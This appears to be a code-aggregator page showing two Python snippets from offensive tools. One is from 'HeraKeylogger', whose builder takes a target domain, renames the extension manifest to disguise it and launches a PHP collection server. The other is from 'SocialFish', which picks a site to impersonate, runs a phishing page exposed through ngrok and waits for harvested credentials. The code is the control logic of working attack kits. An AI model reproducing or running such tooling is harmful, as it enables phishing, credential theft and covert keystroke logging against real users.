コード例 #1
0
ファイル: hera.py プロジェクト: zetahoq/HeraKeylogger
        prefix = 'http://'
    build(prefix, domain)
    printQue('Edit manifest informations (i.e: name) [y/n] ?')
    editManifest = input(' > ')
    if editManifest.upper() == 'Y':
        printQue('Insert a new name:')
        newName = input(' > ')
        printQue('Insert a new description:')
        newDesc = input(' > ')
        printQue('Insert a new version number:')
        newVersion = input(' > ')
        editMan(newName, newDesc, newVersion)
    done()
    printQue('Start local php server [y/n] ?')
    server = input(' > ')
    if server.upper() == 'Y':
        runServer()


if __name__ == "__main__":
    try:
        clear()
        checkEd()
        head()
        pre()
        main()

    except KeyboardInterrupt:
        end()
        exit(0)
コード例 #2
0
ファイル: SocialFish.py プロジェクト: iamihm/SocialFish
    if preoption.upper() == 'S':
        for x in range(1, 8):
            print(cyan('\n [' + str(x) + '] ' + site[str(x)]))
    else:       
        for x in range(8, 12):
            print(cyan('\n [' + str(x) + '] ' + site[str(x)]))
    option = input(cyan('\n SF > '))
    print(cyan("\n Insert a custom redirect url: "))
    custom = input(cyan('\n SF > '))
    if '://' in custom:
        pass
    else:
        custom = 'http://' + custom
    loadModule(site[option])
    runPhishing(site[option], custom)

if __name__ == "__main__":
    try:        
        system('pkill -f ngrok')
        system('pkill -f php')
        pre()
        main()
        runNgrok()
        Process(target=runServer).start()
        waitCreds()
    except KeyboardInterrupt:
        system('pkill -f ngrok')
        system('pkill -f php')
        end()
        exit(0)